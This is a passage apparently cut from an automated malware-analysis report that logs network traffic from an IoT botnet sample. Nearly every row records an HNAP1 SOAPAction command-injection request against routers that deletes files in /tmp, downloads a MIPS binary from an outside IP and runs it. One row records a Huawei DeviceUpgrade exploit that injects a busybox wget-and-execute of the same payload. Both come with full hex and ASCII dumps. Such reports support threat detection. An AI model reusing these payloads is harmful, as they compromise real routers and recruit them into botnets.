xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 